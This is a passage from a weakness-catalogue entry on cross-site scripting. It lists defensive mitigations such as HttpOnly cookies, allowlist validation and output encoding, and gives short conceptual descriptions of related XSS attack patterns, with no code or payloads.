With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.